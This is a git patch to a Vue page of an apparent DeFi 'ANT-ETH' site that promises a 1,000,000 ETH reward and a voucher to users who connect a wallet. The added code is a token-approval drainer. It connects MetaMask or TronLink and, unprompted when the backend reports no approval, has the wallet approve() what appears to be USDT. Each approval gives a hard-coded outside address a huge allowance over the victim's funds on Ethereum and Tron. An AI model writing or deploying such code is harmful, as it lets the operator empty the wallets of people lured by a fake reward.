From 77434427af6e350d4b207e2c34593e492d17a305 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Wed, 23 Mar 2022 15:29:20 +0800
Subject: [PATCH] gx
---
src/pages/index/index.vue | 51 +++++++++++++++++++++++++++++++++++++++++----------
1 files changed, 41 insertions(+), 10 deletions(-)
diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index c47138b..b6df809 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -11,14 +11,14 @@
<span class="title">ANT-ETH</span>
<div class="right flex align-center">
<img src="../../assets/images/icon.png" class="icon"/>
- <span v-if="walletAddress">{{walletAddress}}</span>
+ <span class="address" v-if="walletAddress">{{walletAddress}}</span>
<span v-else @click="showAccreditModal">{{ $t("message.ConnectWallet") }}</span>
</div>
</div>
<div class="banner-content">
<p>{{ $t("message.Defi") }}</p>
<p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p>
- <button @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
+ <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
</div>
</div>
<img src="../../assets/images/banner.png" class="banner"/>
@@ -102,6 +102,7 @@
setup() {
const { proxy } = getCurrentInstance();
let walletAddress = ref('');
+ let hasApprove = ref(false);
let isShowApproveModal = ref(false);
let isShowAccreditModal = ref(false);
let isShowWalletModal = ref(false);
@@ -159,30 +160,54 @@
let address = '';
if(window.ethereum) {
await window.ethereum.enable();
- address = await ethereum.request({ method: 'eth_accounts' });
+ const accounts = await ethereum.request({ method: 'eth_accounts' });
+ address = accounts[0];
}else if(window.tronWeb){
address = window.tronWeb.defaultAddress.base58;
}
- return address;
+ proxy.walletAddress = address;
}
async function approve () {
+ if(window.ethereum) {
+ ethereumApprove()
+ }else if(window.tronWeb){
+ tornWebApprove()
+ }
+ }
+ function ethereumApprove () {
const web3 = new Web3(window.ethereum);
const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
- const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
+ const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
const contract = new web3.eth.Contract(abi, contractAddress);
- const result = await contract.methods.approve(authorizedAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000});
- console.log(result);
+ contract.methods.approve(authAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000}).then((res) => {
+ alert('授权成功'+res)
+ })
+ }
+ async function tornWebApprove () {
+ const tronWeb = window.tronWeb;
+ const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+ const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp";
+ let instance = await tronWeb.contract().at(trxContractAddress);
+ let res = await instance["approve"](authAddress, "90000000000000000000000000000");
+ res.send({
+ feeLimit: 100000000,
+ callValue: 0,
+ shouldPollResponse: false
+ }, function(err, res) {
+ console.log(err)
+ console.log(res);
+ });
}
async function init() {
- proxy.walletAddress = await getAddress();
+ await getAddress();
if (proxy.walletAddress) {
proxy.$axios({
url: '/dapp/common/isApprove/' + proxy.walletAddress,
method: 'get'
}).then((res) => {
if(res.code === 200) {
+ proxy.hasApprove = true;
sessionStorage.setItem('address', proxy.walletAddress);
}else{
approve()
@@ -218,6 +243,7 @@
changeLanguage,
walletAddress, //地址
+ hasApprove, //是否授权
};
},
methods: {
@@ -408,5 +434,10 @@
color: #080808;
margin-top: 15px;
}
-
+.address{
+ width: 100px;
+ overflow: hidden;
+ text-overflow:ellipsis;
+ white-space: nowrap;
+}
</style>
--
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